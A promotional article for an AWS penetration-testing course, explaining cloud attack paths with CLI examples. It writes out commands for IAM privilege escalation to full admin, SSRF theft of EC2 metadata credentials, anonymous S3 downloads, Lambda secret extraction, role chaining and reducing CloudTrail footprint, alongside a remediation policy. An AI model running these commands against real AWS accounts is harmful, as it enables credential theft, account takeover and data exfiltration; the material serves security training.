Cloud infrastructure has become the backbone of modern enterprise, and AWS sits at the center of it all. As organizations migrate critical workloads to the cloud, attackers have followed. Misconfigured IAM roles, overpermissioned Lambda functions, publicly exposed S3 buckets, and weak VPC configurations are not theoretical risks. They are the daily reality that red teamers and penetration testers are engaged to find and report before threat actors do.
The problem is that most pentesting training stops at networks and web applications. AWS has its own attack surface, its own tooling, and its own exploitation techniques that require dedicated, hands-on learning. That is exactly what the AWS Pentesting Course at Redfox Cybersecurity Academy is built to deliver.
Traditional penetration testing frameworks do not map cleanly onto cloud environments. In a classic on-premise engagement, you pivot through IP ranges, crack hashes, and escalate through Active Directory. In AWS, the attack surface is entirely different. Your targets are IAM policies, roles, instance profiles, trust relationships, metadata endpoints, storage buckets, serverless functions, and cloud-native services that behave in ways no traditional pentest methodology accounts for.
A few characteristics that set AWS pentesting apart:
No network perimeter. AWS resources communicate through APIs and IAM-controlled access. A misconfigured IAM policy can grant more access than an open firewall port ever could.
Identity is everything. In AWS, exploitation almost always passes through IAM. Whether you are abusing an EC2 instance profile, chaining role assumptions, or abusing overpermissioned Lambda execution roles, you are always working with identity and permissions.
Ephemeral credentials. AWS uses short-lived STS tokens extensively. Understanding how to capture, refresh, and abuse these credentials is a core skill that only cloud-focused training teaches properly.
The starting point of almost every AWS engagement is IAM enumeration. Before you can escalate privileges, you need to understand what permissions your initial foothold actually has.
Using the AWS CLI and tools like enumerate-iam and Pacu, practitioners can rapidly identify what actions are available to a compromised identity.
# Enumerate attached policies and inline policies for a user
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
# Get policy document for a specific version
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--version-id v1
[cta]
Once you have mapped the permission set, you look for privilege escalation vectors. The most well-documented collection of these comes from Rhino Security Labs, but the hands-on labs in the Redfox Cybersecurity Academy AWS Pentesting Course walk you through exploiting each one in a real AWS environment, not just reading about them.
If your compromised identity has the iam:CreatePolicyVersion permission, you can overwrite an existing managed policy with a version that grants full administrative access, then set it as the default version.
# Create a new policy version with AdministratorAccess equivalent
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}' \
--set-as-default
[cta]
This single misconfiguration can take an attacker from a read-only user to full account compromise in seconds. The course covers this and over a dozen additional privilege escalation paths in structured lab environments.
One of the most commonly overlooked privilege escalation vectors in AWS involves the iam:PassRole permission. When combined with the ability to create or update Lambda functions, it allows an attacker to assign a high-privileged IAM role to a Lambda function they control, then execute that function to perform privileged actions.
# Create a Lambda function with a high-privileged execution role
aws lambda create-function \
--function-name escalation-func \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/HighPrivRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://payload.zip
# Invoke it to execute privileged AWS API calls
aws lambda invoke \
--function-name escalation-func \
--payload '{}' \
output.json
[cta]
The Lambda payload itself can call any AWS API that the assigned role permits, including creating new IAM users, attaching administrator policies, or exfiltrating data from S3.
The EC2 Instance Metadata Service (IMDS) has been one of the most exploited attack vectors in cloud environments over the past several years. When a web application running on EC2 is vulnerable to Server-Side Request Forgery (SSRF), attackers can use that vulnerability to query the metadata endpoint and retrieve the instance's IAM credentials.
In environments still running IMDSv1, the metadata endpoint requires no authentication.
# From an SSRF-vulnerable web application, pivot to the metadata endpoint
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve credentials for the attached role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
[cta]
The response returns an AccessKeyId, SecretAccessKey, and Token that can be loaded directly into the AWS CLI or any AWS SDK to authenticate as that EC2 instance role.
# Export the stolen credentials and operate as the instance role
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
[cta]
IMDSv2 was introduced to mitigate this, requiring a PUT request to obtain a session token before accessing metadata. However, many environments remain on IMDSv1, and some SSRF vulnerabilities can satisfy the PUT requirement depending on how the application forwards requests.
The Redfox Cybersecurity Academy course includes dedicated lab modules on SSRF-to-credential-theft scenarios, covering both IMDSv1 and IMDSv2 bypass techniques in realistic application contexts.
S3 misconfigurations have been responsible for some of the most damaging data breaches of the past decade. During AWS pentesting engagements, assessing S3 exposure is non-negotiable.
# Enumerate S3 buckets associated with a target (without credentials)
aws s3 ls s3://target-company-backup --no-sign-request
# Attempt to list all objects
aws s3 ls s3://target-company-backup --recursive --no-sign-request
# Download exposed files
aws s3 cp s3://target-company-backup/db-dump.sql . --no-sign-request
[cta]
Beyond publicly accessible buckets, authenticated enumeration reveals more. With valid credentials, you can look for buckets with overly permissive bucket policies, ACLs that allow cross-account access, or replication configurations that send data to external accounts.
# List all buckets in the account
aws s3api list-buckets
# Check bucket ACL for a specific bucket
aws s3api get-bucket-acl --bucket internal-data-store
# Review bucket policy
aws s3api get-bucket-policy --bucket internal-data-store | python3 -m json.tool
[cta]
If your IAM identity has s3:PutBucketPolicy permissions, you can overwrite a bucket policy to grant yourself or an external account unrestricted access, a technique that mirrors the IAM policy manipulation described earlier but applied to storage resources.
Pacu, developed by Rhino Security Labs, is the standard open-source exploitation framework for AWS environments. It operates similarly to how a red teamer might use a C2 framework during a traditional engagement, but every module targets AWS-specific attack paths.
# Install Pacu
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip3 install -r requirements.txt
python3 pacu.py
# Within Pacu, configure credentials and run key modules
Pacu> set_keys
Pacu> run iam__enum_permissions
Pacu> run iam__privesc_scan
Pacu> run s3__download_bucket --names target-bucket
[cta]
Pacu's iam__privesc_scan module automates the process of checking for over 20 known privilege escalation paths, giving practitioners a rapid assessment of what is exploitable given their current credential set. The AWS Pentesting Course at Redfox Cybersecurity Academy includes dedicated Pacu labs where students work through real escalation chains from initial access to account takeover.
Any professional AWS pentesting engagement needs to account for logging. CloudTrail records API calls across most AWS services and is the primary detection mechanism defenders rely on. Understanding what gets logged, what does not, and how to reduce your footprint is essential for realistic red team operations.
Several AWS actions are either not logged by default or have significant blind spots:
# Check if S3 data events are being logged
aws cloudtrail get-event-selectors --trail-name management-trail
# Describe the trail to understand its scope
aws cloudtrail describe-trails --include-shadow-trails false
[cta]
During authorized engagements, red teamers sometimes need to evaluate whether defenders can detect their activity. Understanding how to chain actions in ways that produce fewer high-fidelity alerts, or how to distinguish management events from data events, helps produce more realistic assessments.
This is a topic the Redfox Cybersecurity Academy course addresses directly, teaching students to think like both attacker and defender in cloud environments.
Role chaining is a powerful and often underappreciated AWS attack technique. When an attacker compromises credentials in one AWS account, they may be able to assume roles in other accounts that trust the compromised account. This can turn a single initial access into a multi-account compromise.
# Assume a role in a target account
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
--role-session-name pentest-session
# Export the returned temporary credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Verify assumed identity
aws sts get-caller-identity
[cta]
Mapping the trust relationships across accounts in a large enterprise environment requires both tooling and methodology. The course covers how to enumerate trust policies, identify assumable roles, and document lateral movement paths across AWS Organizations.
Modern AWS environments extend well beyond EC2 and S3. Lambda functions, ECS containers, EKS clusters, and API Gateway configurations all present their own attack surfaces.
Lambda functions frequently carry IAM roles that were provisioned with far more permissions than the function actually requires. During an engagement, enumerating Lambda functions and their associated roles is a high-value recon activity.
# List Lambda functions in the account
aws lambda list-functions --query 'Functions[*].[FunctionName,Role]' --output table
# Get the environment variables of a specific function (may contain secrets)
aws lambda get-function-configuration \
--function-name payment-processor \
--query 'Environment.Variables'
[cta]
Environment variables in Lambda functions are a common source of hardcoded API keys, database credentials, and third-party service tokens. Reviewing them during an engagement regularly yields high-severity findings with minimal effort.
When Kubernetes is deployed on AWS through EKS, the node instance profile becomes a critical target. A container escape that lands you on the underlying EC2 node allows access to the instance metadata endpoint and the node's IAM role, which often carries eks:DescribeCluster and sometimes broader permissions.
# From inside a pod, reach the metadata endpoint
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Use Peirates for Kubernetes-native privilege escalation
./peirates
[cta]
The intersection of Kubernetes security and AWS IAM is one of the most technically complex areas in cloud security. The Redfox Cybersecurity Academy AWS Pentesting Course dedicates specific modules to containerized environments, giving students the context they need to assess these architectures professionally.
Technical exploitation is only half the job. A professional AWS pentest report must translate highly technical findings into business-relevant risk language. Each finding should include the affected AWS resource ARN, the IAM policy or configuration that enabled the issue, the attack path from initial access to impact, and a remediation recommendation that references AWS security best practices.
For IAM privilege escalation findings, remediations typically involve implementing least privilege policies, enabling AWS IAM Access Analyzer to detect overpermissive policies, and enforcing permission boundaries on developer-created roles.
For SSRF-to-IMDS findings, the remediation is enforcing IMDSv2 at the account level using a Service Control Policy.
# SCP to enforce IMDSv2 across all accounts in an organization
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
]
}
[cta]
The Redfox Cybersecurity Academy AWS Pentesting Course is built for security professionals who already have a foundation in penetration testing and want to extend that expertise into cloud environments. Ideal candidates include red teamers looking to add cloud attack techniques to their engagements, cloud security engineers who want to think offensively about their own infrastructure, bug bounty hunters targeting AWS-heavy applications, and security consultants who need to deliver credible cloud security assessments.
If you are preparing for cloud-focused certifications or building a portfolio of cloud security skills, this course provides the hands-on lab time that self-study alone cannot replicate.
AWS pentesting requires a fundamentally different skillset from traditional network or web application testing. The attack surface is built on identity, APIs, and cloud-native services rather than network topology. IAM enumeration and privilege escalation are the core of nearly every AWS engagement. SSRF vulnerabilities become critical in cloud environments because they can expose IAM credentials through the metadata endpoint. Tools like Pacu, enumerate-iam, and the AWS CLI itself are the primary instruments of an AWS red teamer. Logging awareness and CloudTrail evasion are professional-grade skills that separate thorough assessments from surface-level scans. Serverless and container environments introduce additional attack surfaces that require dedicated study.
The depth of knowledge required to perform AWS pentesting professionally is substantial, and building it through real labs in realistic environments is the only way to develop genuine competence. The AWS Pentesting Course at Redfox Cybersecurity Academy provides exactly that structure, combining technical depth with hands-on practice across every major AWS attack category.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
